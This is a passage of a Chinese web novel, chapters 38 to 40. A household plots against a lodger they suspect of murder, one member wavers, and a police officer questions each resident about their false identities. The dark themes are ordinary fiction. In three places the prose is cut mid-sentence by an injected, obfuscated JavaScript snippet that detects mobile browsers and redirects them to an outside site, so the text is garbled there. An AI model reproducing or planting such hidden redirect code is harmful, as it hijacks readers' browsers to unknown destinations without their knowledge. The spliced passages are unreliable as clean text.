“说什么说啊,男孩皮点好,胆子大,以后顶天立地的。大了就好了,不用和他说什么。” 丈夫脸上不耐烦的神色加重了,于是她压下了不安,勉强笑着附和道:“……也是。我们儿子可惜没生在古代,不然去从军,说不定能当个大将军。” “只是一只畜生”,那时候,她安慰自己。 直到儿子被捕之前,她都还以为,从头到尾只会是畜生。怀着这样愚蠢而恶毒的自欺欺人,她以为就能让罪孽风干。她错过了一个又一个将儿子引回正轨的机会,直到最黑暗的果实在她的视若不见中结出,再也没有了回头的机会。 “啊——” 她仰头发出悲怮的哀嚎,指缝死死收拢,却只攥住冰凉的雨和泥。 38.第 38 章 8月7日傍晚,蔡岛嘉就提着一箱牛奶和水果登门“道歉”了。 宽阔的客厅里,电视机一反常态地黑着屏幕。徐朝颜揽着朵朵坐在沙发上,何序坐在一旁。何阿公和夏禧单独占据了两个单人沙发。茶几上是礼盒装的纯牛奶和一箱芒果。何阿婆抱臂站在茶几前,防备地看着面前点头哈腰的蔡岛嘉。 “你昨天刚说要退租,今天就要回来?你是把老子当猴耍吧?” “昨天是我考虑不周……给你们添了这么多麻烦,怎么能说走就走?”蔡岛嘉赔笑道,“我还是想继续在这里住下去,如果有什么用得着我的地方,我一定帮忙。像阿婆去买菜啊,阿公去公园啊,我都可以送一送,家里有辆车会方便许多。这也是我的一点微不足道的心意。” 所有人都没说话。蔡岛嘉的话就这么落到了地上。他给坐在餐椅上的夏禧打眼色,希望她站出来帮他说话,但夏禧仿佛没看懂他的眼神,只顾着给脚下的笨笨剥橘子。 蔡岛嘉讨好的笑就要凝固在脸上时,何阿公站起身来,说:“我们得商量一下。” “是啊,你走吧。”何阿婆上手推搡,把牛奶盒和芒果都塞回蔡岛嘉怀里,“这事明天再说。” “这牛奶和芒果你们就留下吃吧……”蔡岛嘉还想努力一把,已经连人带箱被推出了入户大门。 “明天再说!”何阿婆板着脸,像一尊金刚不坏的门神挡在门口,不容置疑道。 “行……行,那我明天早上再来。”蔡岛嘉不得不转身走出前院铁门。 何阿婆回到客厅,难以置信的目光直指沙发上的朵朵。何序铁青着脸,率先对她发出质问: “你到底和他说了什么?” 昨夜,朵朵对众人斩钉截铁地说“他会回来的”时候,除了夏禧以外,没有人真的相信一个十二岁女孩的期望能够变成现实。直到此时此刻,他们才明白,那并非期望,而是“宣言”。 “这很重要吗?”朵朵歪了歪头,停下摇晃的双腿,“重要的是他回来了,计划可以继续进行。” “不行,你必须告诉我,你对他说了什么。”何序说,“你是不是又威胁他了?” “我只是对他说,我看见了他在兰丽华庭做的事。”朵朵说。 “我告诉你多少次了!不要以身涉险,你还——” 徐朝颜收紧了在朵朵肩上的手,想通过这种提醒,让她不要和何序对着干。但朵朵猛地站了起来,让她的手突然地从肩上滑落。 “我还小!你已经说了一百次了!” 少女的声音又冷又硬,像一把钳子,绞断了何序接下来的话。 “小又怎么样?小就必须躲在大人身后,看着你们冲锋陷阵,自己心安理得地躲在背后吗?你难道真的以为,你是我的爸爸,需要为我的安全负责?” “就算我不是你的爸爸,我也必须为你的安全负责。因为是我把你带到这里来的!”何序终于找回自己的声音,“你知不知道,你这么说是把自己当成了靶子!如果他丧心病狂,决定杀人灭口怎么办?!” “那不是最好吗?”朵朵反问,“就让他来杀我,我再‘正当防卫’。” “你——”何序的面庞在短短几个眨眼的时间内变红,显而易见的怒火从白皙的锁骨一直烧到脸颊,“现在蔡岛嘉已经把你当做了头号目标,计划必须中止,这太危险了!你面对的不是说说而已的混混,他是真的杀过人,并且很有可能还会继续杀人!” “什么?不!”朵朵怒喊道。 “我也赞同计划中止。”何阿公取下脸上的老花眼镜,神色凝重地站了起来,“目前蔡岛嘉已经犯下了绑架罪,还有他挪用墙内的美钞造成盗窃罪,如果现在报警,差不多能让他判十五年。” “十五年怎么够?他犯下的罪,何止十五年?!”何阿婆冷笑一声,“不让他死刑,我不甘心。” “那你就可以为了复仇再死一个十二岁的小女孩吗?”何阿公说。 何阿婆的冷笑僵住,唇缝迅速被抿成一道窄缝,脸颊上的咬肌拱了起来,像在咀嚼一个难以下咽的东西。 徐朝颜不安地看着众人。 “你们怎么能在这时候收手?我妈妈的死还没有揭露出来,如果就这样收手,我永远都找不到妈妈了!”朵朵愤怒地叫喊道。 “警察会调查的,朵朵。”何阿公安慰道,“我们只需要把事实告诉他们就好了。” “事实——什么事实?我妈妈被杀害的证据?还是她的尸体?我什么都没有!”朵朵情绪激动,大喊道。她甩开徐朝颜附上来的手,怒视着何序和其他人,“我不怕死,我来这里,是因为你们说可以帮我。如果你们不愿意帮我了,我就自己把他杀了!” 朵朵转身要走,那不是暂时撤离谈话的姿态,而是要回房间收拾行李的姿态。 “你不准走!”何序变了脸色,几步追过去捉住她的手臂。 “你凭什么不让我走?!我说了,你又不是我真的爸爸!”她挣扎着想要摆脱何序,尖叫声撕开沉闷的空气,一块块拢起的眉间肌肉,像被逼到角落的小豹子。 “十五年,听上去挺长的了。”一个冷静的声音打破了客厅里逐渐热化的气氛。 夏禧从椅子站了起来,把青色的橘子皮仍在垃圾桶,扯了一张纸巾,慢条斯理地擦拭着手指上的汁液。 “你们有没有想过,十五年后呢?” 朵朵的挣扎弱了下来。客厅里陷入一片沉默。 “十五年后,他会出狱,会再换一个名字,犯一遍已经犯过的罪,甚至再杀一个不该死的人。”她抬起眼来,细纹簇拥着那双凌厉的眼眸,“到那时候,我们还能在人海茫茫中找到他吗?” 鸦雀无声。 因为所有人都知道,她说的是真的。 蔡岛嘉换过一个名字,再换一次又如何?少管所的三年经历已经证明,他的人生永远无法“重新开始”。 何序对上了朵朵愤怒却又蓄满泪水的眼睛。那是一双黑白分明的杏眼,她本应无忧无虑地欢笑,而不是在这里含着泪水,说着“我不怕死”。 “……我们需要新的计划。”他终于开口,哑声道。 朵朵愣了愣,回过神后,希望开始烧灼那片泪水。 “好。”何阿婆低声说,“……新的计划。” 何阿公看着妻子,无可奈何地叹了口气。 徐朝颜想说什么,但在这么多人面前,她还是咽下了喉咙口的话。等到简单的午餐过后,她开门走进二楼主卧。何序正坐在电脑前操作什么,她站到他背后,迟疑地开口了: “我们真的要继续计划?这会不会太危险了……朵朵才十二岁啊。” “总比让她一个人发疯的好。”何序头也不回地说。 “可是……”徐朝颜咬了咬嘴唇,低声说,“要不我们私下报警吧,我觉得十五年也挺够了,等蔡岛嘉出狱都四十三了,他还能做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768970|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么呀——” “四十三岁的杀人犯还少吗?”何序松开鼠标,转身看她,“而且……朵朵说的对,如果不能揭露她妈妈的死,我带她来这里就失去了意义。” “那可是杀人犯啊,货真价实的杀人犯!他不仅杀了一个成年人,还虐杀了一个女婴——”徐朝颜情绪逐渐激动,“你们拿一个十二岁的女孩作靶子,是疯了吗?!” “那你说该怎么办?!”何序站了起来,眉头拧到一起,“你觉得朵朵是那种我说了不行,她就会乖乖听话的人吗?” “你现在就可以报警!等蔡岛嘉抓进去,朵朵也就没办法了——” “……不行。”何序说,“我们已经说好了,按新的计划进行。” 徐朝颜瞪着他,脸上的血色渐渐褪去了。 “……我不干了。”她说。 “什么?” “我说我不干了!反正我就是个路人甲,你们的新计划不需要我的同意,也不需要我的参与!”徐朝颜忍不住大喊道,“当初我就不该头脑发热答应陪你们搅合,我宁愿去睡桥洞,也不愿意和一个杀人的疯子玩命。这一切本来就不关我的事!” “不关你的事?”何序反问,“你的确和蔡岛嘉没仇,也不是为了正义感在行动,但你别忘了,你是为了还账才加入行动的。只要你的债没还清,你就不能把这说得像和你没有丝毫关系。” 何序话刚说完就开始后悔,但徐朝颜的脸色已经苍白了。 那张总是嘻嘻哈哈,没个正型的脸上,露出蜗牛好不容易鼓起勇气伸出触须,就被冰冷的一脚拍扁了的神色。她有半晌没说话,然后眼眶倏地红了,但在泪水涌出之前,她先扭过头,一个箭步冲出了房间。 何序追了出去,正好看见她锁上二楼厕所的门。 “……我刚刚说的话太过分了,你别放在心上。”他站在门口,轻轻敲了两下门,作出了对他而言极不容易的道歉。 门里没有回应。何序犹豫了片刻,走开了。 徐朝颜站在洗手台前,听着何序的脚步声渐渐走远。她拿起一旁的手机,按下110几个数字,却又犹豫着没能立即拨出。 门外响起接近的脚步声,比何序更轻,更快。徐朝颜握住手机,紧张地望向门口。 “小徐姐姐。” 是朵朵的声音。她似乎已经恢复了平静。 “我睡过桥洞。” 徐朝颜下意识皱起眉,竖着耳朵继续往下听。 “桥洞底下很冷,风从这头穿到那头。好的位置都被流浪汉占据了,而流浪汉比寒风更加危险。我和妈妈只能躲在没有人的洞口。但妈妈的怀抱很暖,她抱着我的时候,好像全世界都不能伤害我。” “我说我看见了他在兰丽华庭做的事,那不是假话——至少不完全是假话。” “每到夜晚,我闭上眼睛,眼前就会浮现出那个画面。有时候,我看到妈妈是被他掐死,有时候,我看到妈妈是被刀刺死,我一遍又一遍地看着她被杀死,却什么都做不了。” “对那些不明所以的人来说,我的妈妈只是一个阻碍施工,死了连名字都留不下的‘疯女人’,只有我知道,妈妈直到死的那一刻都在等我回家。” “……可我再没有家了,小徐姐姐。”朵朵的声音越来越轻,直到化为一缕微风,“我只是想知道,妈妈被他带到了哪里。” 朵朵没有等待徐朝颜的回应,就那么转身慢慢离开了。 39.第 39 章 徐朝颜忘了自己在厕所里待了多久。 最后,她还是锁屏了手机。她不是会打小报告的那种人。 她垂头丧气地开门走出厕所。没想到何阿婆正靠在墙边等她。她吓了一跳,像被逮到现场的小孩似的,下意识垂下了头。 “这个,是你一直以来打的欠条。”何阿婆站直了身体,从身后拿出厚厚一叠笔记本上撕下来的纸,纸角被撕得毛糙,蓝黑墨迹在灯下反着微光,有的带圆孔,有的带格纹。唯一相同的是,上面都有徐朝颜的笔迹。 徐朝颜愣住了,不明所以地看向何阿婆。 “接下来的计划会更危险,你走吧。”她面无表情地把那一沓纸塞进徐朝颜的手中。 窗外槐影在墙上轻轻晃动,光影割碎了何阿婆冷漠的面容。 “……什么?” “你本来就和蔡岛嘉没仇,把你拉进来也只是为了让这个‘家’更加逼真。现在目的达到了,你不用一直待在这里。我会说你回娘家了。” 何阿婆转身要走,徐朝颜慌张地把她拦住。 “就这样?那这些欠条呢?” 何阿婆背对着她,过了一会才说:“不用还了。” 徐朝颜呆呆地看着她,一时没有回过神来。 “你为我们做的已经足够了。” 她看着何阿婆的背影,张了张嘴,想说“这怎么可以”,但意识到那太虚伪了。于是嘴唇翕动了一下,然后带着羞耻紧紧抿上了。 何阿婆转过身来看着她。那不是何阿婆的表情,是何秀英的。 “我不是你父母,没有资格说这些话。你随便听听就行。”她说,“跌倒了,哭够了就要爬起来,哪怕跌倒了一百次——只要腿没摔倒,人总能爬起来。我知道你在想什么。是啊,就算爬起来,第一百零一次大概率也还会摔倒。” 徐朝颜的脸红了。 “你们年轻人,总是在想这样有没有意义。”何阿婆缓缓说,“我老了。我只知道,人这一辈子,只有短短的几十年。哪怕是哭着往前爬,肯定也比在泥坑里抱着膝盖有意义的多。” 何阿婆扶着冰冷的扶手转身下行,木梯一阶一阶吱响,她的背影像是在做最后的告别。 徐朝颜低头往手中那沓欠条看去,嘴唇闭得更紧了。在内心深处,理智告诉她现在抽身是最好的选择,但另一股力量,却在拉扯她的内心,告诉她这里还有未完之事。 她一步一步挪回二楼主卧,何序坐在属于他的那一半床上,似乎在想什么,听到开门的声音,他抬起头来,追随着她进入房间的身影。空调在墙上安静地吹着,热浪仍不知疲惫地从窗户缝里涌进,一层层浮灰,在盛夏的光柱里缓慢飞舞。 徐朝颜有意避开了他的目光,从衣柜下方翻出几个环保布袋,开始打包行李。 她本来就是这样的俗人,没有他那样崇高的理想。如果他感到失望,那也是他自己的原因。徐朝颜不敢抬头,在心中默默说服自己。 自己的那个行李箱在绑架案时遭到征用,现在只剩下几个布口袋。但想把她那些网上买的零碎全部塞进口袋,无异于难上青天。就在她灰心丧气地往已经胀满的布口袋里塞着自己的第八套HelloKitty睡衣时,何序提着他自己的那个黑色行李箱走到面前。 “……用这个吧。”他说。 她的目光飞快地在黑色行李箱上扫了一下,还是不敢看他。 “用吧。”他轻声说,把箱子留在她眼前,退出了房间。 纠结了一会,她还是用了何序的行李箱。 她把布口袋里的衣服一股脑倒了进去,大多是些贪便宜在网上买的衣服,买了之后一次也没穿过;还有一堆一堆的手办和卡片,买的时候不觉得心疼,但算算总数也是一笔巨款,这些东西和那些衣物一样,买的时候觉得很喜欢,到手了之后就开始在家里吃灰。越是收拾,她的心情就越是沉重。 那真的是喜欢吗?还是在为那一瞬间突然浮现的,自己还鲜活着的“感觉”而付费? 偶尔她会闪过这样的念头,但随即就会像洪水猛兽一样被她压到脑海深处。 不能想,不敢想。否则她就会想起,自己在泥泞里抱着膝盖浪费了许多时间这一事实。 她浑浑噩噩地收拾着行李,放在一旁的手机忽然响了起来。她看了眼屏幕显示,接起了来自母亲的电话。 “……喂?” “朝颜啊,你刚刚不是给我打电话吗?我在打麻将呢,没听到。怎么了,有什么事吗?” “哦……就是,我的房子快到期了。我想搬回来住,你们方便吗?”徐朝颜低下头,手指不安地摩挲着行李箱的边框。 “搬回来?那不是离你上班的地方很远?”母亲惊讶道。 “有地铁呢。” “就算坐地铁,住的地方离公司远了,也还是不方便呀。”母亲顿了顿,随即问道,“不会是工作出问题了吧?” “没有!”徐朝颜硬着头皮说,手指由摩挲改为抠着行李箱边缘。 “那就好。你工作要努力呀,朝颜。妈妈同事的儿子,那个王晓晨,前年刚大学毕业,今年已经做到公司中层管理了。你在你们公司这么多年了,怎么也没升个职什么的?” 徐朝颜沉默不语,抠行李箱的动作不由加大了力气。 “你脑子不聪明,为人又不活泛,更要比别人付出加倍的努力——我和你爸都不是聪明人,你也别想着耍小聪明走捷径。努力就是有回报的,只要你努力,你们老板看在眼里……” 接连不断出现的“努力”二字,像一记记耳光响亮地扇在徐朝颜的脸上。她觉得脸上的温度越来越高,心里那股积攒已久的怒火,在里外夹击的压力之中冲破了理智的防线,化为失控的话语回荡在房间里。 “你什么都不懂!这年头努力根本没有用!”她几乎是怒吼着说出这句话。 母亲那边有一会没说话,仿佛被一向顺从的女儿给吓到了。但她很快加大了音量,更坚决地说道: “那只能说明你努力不够!更需要加倍努力啊!你——” 手机猛地砸到墙上,电池后盖和电池一起飞了出来,又因撞到椅子脚,各自滑向不同的方向。母亲的声音终于消失了,但那股羞耻和绝望的感觉却没有消失,反而变得更难以抵挡了。 她捡起掉在地上的手机重新开机,彩色的屏幕上横贯着一条条碎裂的蛛丝。换一个屏幕大概要四百块,而她身上连一百块都摸不出来。为什么要发这个脾气呢?好后悔。好后悔。 好想死。 徐朝颜攥紧屏幕龟裂的手机,眼前慢慢模糊了。她仰起面庞,眼泪流进咧开的嘴角里,哭得像个孩子,但却没有发出丝毫声音。 如果有人问徐朝颜,成年人的必修课是什么,她会回答:“不要哭出声音。” 这是她最擅长的事。 努力,也曾经是她最擅长的事。 从刚认字的时候起,父亲最常给她讲的故事就是《伤仲永》。 “你瞧,连仲永这么聪明的孩子,没有努力,一样也会泯然众人。朝颜啊,聪明是天生的,但努力是后天的。爸爸下次给你讲铁杵磨成针的故事,你要记住,爸爸不要求你做第一,你只要尽到努力就好了。” 但究竟什么是努力呢? 升上小学后,她唯恐落后于人,努力读书学习,在第一次月考时满心期待着自己能排进班级前二十,但最后的结果却是倒数二十。她望着那张刺目的成绩单,陷入了茫然。 是她不够努力吗? 之后,她放弃了每晚作业后的自由时间,自发地用于复习和预习,央求妈妈买了几本习题册,用于周末自考。整个小学,她都是这么过来的,她的成绩在她的努力之下固定在了中流。 接着是初中,高中。那种吃力追赶别人的感觉越来越大,尽管她已经去掉了所有休闲玩乐的时间,她的成绩也没有因此提高。当邻座同学在课间眉飞色舞地谈论着当时的流行偶像和最新电影时,她在争分夺秒地整理着上一节课的笔记。 月考时,邻座的名次领先她三十名。 是她努力的还不够吗? 可她已经不记得自己上一次和朋友出去玩是什么时候了,也不记得在十一点前睡觉是什么感觉了。她已经这样努力了,为什么还是比不过那些上课走神,每天晨读时来抄作业的同学? “你这成绩一看就是没有努力,朝颜啊,你老实告诉爸爸,是不是每天晚上那么晚睡,都是在偷偷看小说呢?” “我努力了啊!”她哭喊着说。 “努力了怎么可能排倒数?最起码也是个中流吧?爸爸没有要求你要考第一,但你至少要努力啊!” 从那以后,她每晚两点才睡。 她拼了命的努力,最后也只是勉强考上一个不入流的二本大学,调剂进了冷门的旅游与管理专业。 她还是一如既往地“努力”着,安慰自己努力总会比不努力好。1995年,在她大学毕业后,徐朝颜就职于一家不大不小的境内旅游社当导游。她不愿意强制推销,把所有精力都放在了研究游览路线和背诵景点讲解上。 她得到的游客好评是旅行社内最多的,但却因无法创造业绩,一年后,她就被公司开除了。 她原来的班被一位年轻导游接手。那人曾因游客不肯在购物点买单,扬言把人丢到高速,甚至真做过一次。 那时候,徐朝颜就意识到,“努力就会成功”,是一个巨大的谎言。 被开除之后的五年里,她陆续又尝试了许多工作,但最后依然以失败告终。即便如此,她都没有放弃“努力”。 她最好的朋友在那时邀请她一起做服装批发生意。也许她只是不适合读书和打工,也许她在做生意上会更有头脑呢?怀着这样的期待,她入伙了朋友的生意。那是她从小一起长大的朋友,却在骗走她的全部积蓄后消失不见,只留给她一堆过时的滞销破布。 “无论多么努力,最后都会失败。” 这不是一种消极观念,而是徐朝颜用二十九年人生得出的真理。 自那以后,她就放弃了努力,放弃了挣扎,假装自己心甘情愿,并且从一开始就心甘情愿,做个人生的失败者。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那三个字拯救了她。 最初住进来的时候,徐朝颜以为最多半年,她就会被房东赶走,却没想到过去了一年,两年,三年,四年—— 她欠下的房租越来越多,但她依然还在这里。 眼泪渐渐停止,徐朝颜抽抽噎噎地扯了几张纸巾擦干眼泪。她早已过了拿起镜子欣赏自己泪后面容的年纪,一个连哭都不敢哭出声音的失败者,糊一脸的眼泪鼻涕有什么好看的? 她收拾好最后的行李,拉上行李箱的拉链,最后看了一眼住了一年的房间,开门走出。身体瞬间被楼道里的热气包裹,槐叶的青涩气息飘散在闷热的空气之中。 靠在楼梯边的何序和她对上了视线。她羞愧地垂下了泪痕未干的眼睛,想要避开他悄悄下楼。 “等一下。”何序说。 他起身走进他们的卧室,过了一会,拿着一个蓝色的盒子走了出来。 “……给你的。”他递出,眼神游移地看向一边。 “这是什么?”她声音沙哑。 “生日礼物。既然你要走了……那就提前给你。” 徐朝颜忘记了自己红肿的眼睛,瞪大眼睛看向他。 “你不是说你不过生日吗?” “……我不过,但你可以过。”他把蓝色盒子塞到她怀里,局促地站在原地,似乎想等她下一步的反应。 徐朝颜好奇地打开盒盖,里面是一个正版的HelloKitty手办。是她放在购物车里看了又看,却始终舍不得付款的那款。 她又惊又喜,抬头看向何序,后者却扔下一句“再见”,迅速返回了房间。背影有些落荒而逃。 虽然刚刚才哭过,衣兜里的手机依然布满裂纹,但她还是忍不住笑了出来。 徐朝颜把盒子小心地装好,拖着行李箱来到一楼。吊扇吱呀地转,黑着屏的电视像一面冷镜,把茶几上凌乱的杯痕照得一清二楚。何志国和何阿婆听到她的脚步声,接连从沙发上起身。 “吃了晚饭再走吧?”何志国的脸上没有丝毫的失望或谴责,他一如既往地温柔说道。 何秀英没有说话,但徐朝颜知道,这一定也是何秀英的话。 她鼻头一酸,勉强笑了笑:“不用了,我回家吃就行。” 何志国刚要说话,院外忽然响起轮胎碾过水泥地面,砂砾被推开的声音。难道是蔡岛嘉又回来了?何阿婆皱眉看向院外。 “有人在家吗?”铁门被敲响,戚迪的声音响了起来。 何阿婆和何阿公互相看了一眼。 “什么事啊?”何阿婆用不耐烦的声音高声问道。 门外没有回应。何阿婆只好走向大门,徐朝颜连忙拉着行李箱往客厅深处退去。 何阿婆拉开铁门,门外站着身穿制服的戚迪和梁芸。 “又有什么事啊?”她故意把眉毛挑得老高。 戚迪看了她一眼,又扫向站在入户大门前的何阿公。 “配合奥运安保,让所有人带着身份证到院子里做个登记核验。” 40.第 40 章 开阔的一楼客厅里,不一会就聚集齐了自建楼的所有住户。 “蔡岛嘉出去了?”戚迪问。 “他昨天就退租了。”何阿婆说。 “退租?为什么?” “不知道。”何阿婆硬邦邦地说,“他不在还用查吗?我们只有一个租户了,查她的不就完了?” 客厅里闷热得发钝,老吊扇吱吱地转,吹不散八月的暑热。光从窗纱里筛进来,落在地面,像被撕碎的信笺。在短暂的沉默后,戚迪的视线扫向在场的其他人:“……从年纪最大的人开始登记,其他人先到院子里等。” “为什么要单独登记?”何阿公的眉头堆叠起来,他停顿片刻,“是出了什么事吗,戚警官?” “一是为了信息准确,二是为了保护个人隐私。”戚迪无视了众人脸上显而易见的抗拒,自顾自地在长餐桌上坐了下来,摊开一个干净的登记簿,“何阿公留下,梁芸,你带其他人去院子里等。” 徐朝颜一开始没料到戚迪会进屋,现在正站在黑色行李箱前,试图用屁股把箱子不知不觉地推进厨房。直到梁芸冷静的目光落在她身上,她不得不干笑一下,放弃了行李箱,跟着其他人一起走向前院。 “坐吧。”戚迪朝眼前的何阿公抬了抬下巴示意,“我们都是老熟人了,用不着紧张。” “我没有紧张,只是想不到,在上班时间喜欢‘巡逻’到公园和老人们下象棋的你,会是坐在这里‘流动人口清查’的人。”何阿公笑了笑,拉开磨得光滑发亮的木椅,在戚迪对面坐下。 “我哪天不在路上?下棋的是幌子,看人、记脸、听风声才是活儿。”戚迪撕下一张空白的登记簿递给他,“把你的身份证给我看看,再把表填上。” 何阿公从唐装口袋里摸出一张身份证,从桌上推了过去,然后拿起桌上的水性笔填表。戚迪冷眼看着,他写出来的身份证号码,和证上分毫不差,照片也对得上。 “你们搬来也有两年了吧?”戚迪问。 “还不到两年,快了。” “那箱子是谁的?出远门啊?” 何阿公戴上笔帽,微笑着将表格推给戚迪:“填好了,你看看。” 戚迪接过表格,随手抖了一下,目光依然盯在何阿公脸上:“说起来,之前的猴手,知道是谁放的了吗?” “还是不知道啊,不过幸好,后来也没有其他的事发生。”何阿公笑着说,“就像警官你说的一样,也许是对我们家不满的人的恶作剧吧。” “恶作剧?” 戚迪笑了笑,但那笑意并未到达眼底。他看着何阿公表格上的出生日期: “何志国,你是□□前的最后一批大学生。就算你的妻子不懂法,你也应该懂吧?知法犯法,比不知而犯,在法律上要恶劣百倍。” 何阿公脸上的微笑没有丝毫变化:“我不知道你在说什么。” “你和我都心知肚明,那只猴手究竟来自哪里。”戚迪望着他的眼睛,一字一顿道。 当昨夜产生那个惊人的念头后,猴手事件立马浮现在戚迪的脑海。 那真的只是个恶作剧吗? 他马不停蹄地赶回八里村派出所,冲到档案室值班人员的面前:“之前有个猴手放在这儿,你们转移了没有?” “第二天就转移了啊。”值班人员无辜地看着他。 “靠。” 他也顾不上解释,转身就往外跑。坐上那辆老旧但皮实的巡逻车,他冒着夜色来到市局技术处,要求对猕猴前肢再次进行检验。当晚值班的法医恰好是他的熟人,在他的恳求下,加班加点给他做了第二次检测。 “那只猴手,虽然表面覆盖着花盆土的石英砂和肥料晶点,但内层为污水生物膜,不但检测出了粪大肠菌群,还在甲隙里发现了厕纸纤维。”戚迪看着何阿公,缓缓说道,“这说明被埋在花盆之前,它应该在下水道里待过一段时间。然后我就想起了换锁那天你妻子说的话——” 何阿婆喋喋不休的抱怨回响起来。 “现在的房东不好做啊,戚警官,我跟你讲,那个蔡岛嘉就不用说了,没有少爷命偏有少爷命,天天换着法子给我提要求,嫌弃我做的饭不好吃,钱又不肯多给,上次还因为拉屎太硬把我三楼的厕所给堵了——” 何阿公脸上的微笑渐渐淡去。 “种种迹象表明,这只猴手应该最早出现在你们家的下水道里。于是我问了所里的水管工,问‘假如建筑内的下水道堵塞,管道里的垃圾能不能通过外部的管道偶然流入’,你知道他是怎么说的吗?” 何阿公没有说话,戚迪也不在乎,继续说了下去。 “他说不可能。” “下水系统的水流大多是由内向外,如果某个东西是在建筑支管里出现,那它只能是从建筑内丢进去,结果被卡住。” “所以,我猜这只猴手是被某个人塞进马桶,强行冲入下水管道造成了堵塞。这么大的东西,能勉强塞进管道就已经很不容易,更别提被冲太远。因此最初塞入猴手的地方,应该就是三楼的厕所。” “当初我以为这只猴手,是为了恐吓你们何家的其中一个,现在看来,它的目标一直很明确。”戚迪说,“就像你们一样。” “这栋楼里,到底在发生什么?” 半晌的沉默后,何志国垂下了眼眸,那些深深的眼纹也跟着一起垂了下来,就像有人给心灵的窗户挂上了帘子。 “我没什么好说的。”他说。 蝉鸣阵阵,压倒了街道上的喧嚣。粗壮的槐树遮挡了大部分阳光,却抵不过还有热浪卷席而来。树下没有人说话。梁芸的存在让一切语言都变得无用。徐朝颜用脚尖碾着脚下的石头,神色不安,不时看向敞开的入户大门内的景象。朵朵在用树枝扒拉着树上一只蝉蜕,何序拉住她的手,低声说:“别弄了。” 何阿婆只是沉默地站着,直到何阿公走了出来,两人的目光在明亮的阳光中相汇。 “去吧。”梁芸说。 何阿婆动了,趿拉着塑料拖鞋,一步步走进客厅。 “坐吧。身份证,然后填表。”戚迪说。 何阿婆甩出身份证,扯过表格,用歪歪扭扭的字写上了名字和身份证号码,然后勾了几个选项,把表格扔了回来。 “其他的呢?”戚迪看了一眼表格。 “看不懂。”何阿婆冷冷说,“小学没读完。” 他从她身上感觉到强烈而尖锐的防备,就像视死如归的战士,已经准备好抱着炸药包和他一起毁灭。 “那就先填这些吧。”戚迪说,“让下一个进来。” 何阿婆愣了愣,难以置信的眼神瞪向戚迪,他低头装作看表格。片刻后,何阿婆怒气冲冲地站了起来,大步走向门外。 下一个是夏禧。她杵着盲杖,慢慢拉开椅子坐下,对着斜对面的空气笑了笑。戚迪面无表情地看着她的表演。 “把墨镜摘下来。”他说。 夏禧脸上的笑容僵硬了。 “需要我帮你摘吗?”戚迪再次说道。 “……不用。” 夏禧终于伸手取下了墨镜。那种刻意笨拙的伪装从她身上消失了,她摆正了身体,直视着戚迪。 他早该发现的。 “既然眼睛没问题,为什么要假装盲人?” “为了钱呗。”夏禧用轻松的口吻说,“人们总是愿意给卖唱的瞎子多点赏钱。” “你的孩子也是假的?” “是真的。”夏禧说,“只不过已经死了。” “……我会核实的。这栋楼里发生的事,你知道多少?” “我只是个租户,除了我房间里的事,我都不怎么清楚。你们警察还会管这种小事?” 她的脸上没有表情,但眼神是讥诮的,带着一丝敌意。 戚迪没有回答,只是挥了挥手:“下一个。” 下一个是何序。 他走了进来,平静地坐到戚迪对面。戚迪把表格递给他,索要身份证。 何序拿出身份证,轻轻放到身前的桌面。戚迪看了他一眼,探出身拿走了证件。照片和他一模一样,但证件上的姓名一栏,却是写的“陈序”两个字。 戚迪抬眼看向何序,后者也静静地看着他。 “你不是何志国和何秀英的儿子?” “不是。” “那你怎么住在这里,对外宣称是他们的儿子?” “扶养失独老人犯法吗?” 戚迪笑了。 “扶养失独老人不犯法,但帮助失独老人犯法,也是犯法。” 五分钟后,陈序走了出去,和被叫到名字的徐朝颜擦肩而过。徐朝颜停下脚步,将求助的目光投向陈序,他动了动嘴唇,目光瞥向不远处的梁芸,她锐利的目光定定地盯着两人。 “……按你想说的去说吧。”他说,重新走向树下。 徐朝颜忐忑不安地走进客厅。 “坐。”戚迪笑道。 她犹豫了一会才坐了下来。 “你知道其他人都说了什么吗?”戚迪问。 “我怎么会知道?”徐朝颜干笑两声。 “你可以猜猜啊,多有意思不是。”戚迪说,“来吧,身份证拿出来,把表格填了。” 徐朝颜慢吞吞地交出她的身份证,又拿着那张空白表格,眉头紧皱,逐字逐句地看着,仿佛里面藏着什么商业欺诈条款。 “那行李箱是你的?”戚迪问。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785836|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是。”徐朝颜飞快回答。 “那你刚刚那么努力把它藏起来干嘛?” 徐朝颜被问住了。 “这么大个行李箱,要收拾东西远行啊?” “呃……回娘家看看。” “你老公叫什么名字?” 她这次倒是答得飞快:“何序啊。” “你确定是何序,不是陈序?”戚迪问。 她又闭紧了嘴唇。 “你知道吗,我只要回到所里,把你的身份证号往电脑上一输,你是未婚还是已婚,马上就真相大白了。”戚迪冷笑道,“现在何序也已经变成了陈序,你确定还要继续当他的妻子?如果你明知有案件发生,却还是知情不报——这在法律上属于同伙。想清楚值不值得,徐朝颜。” 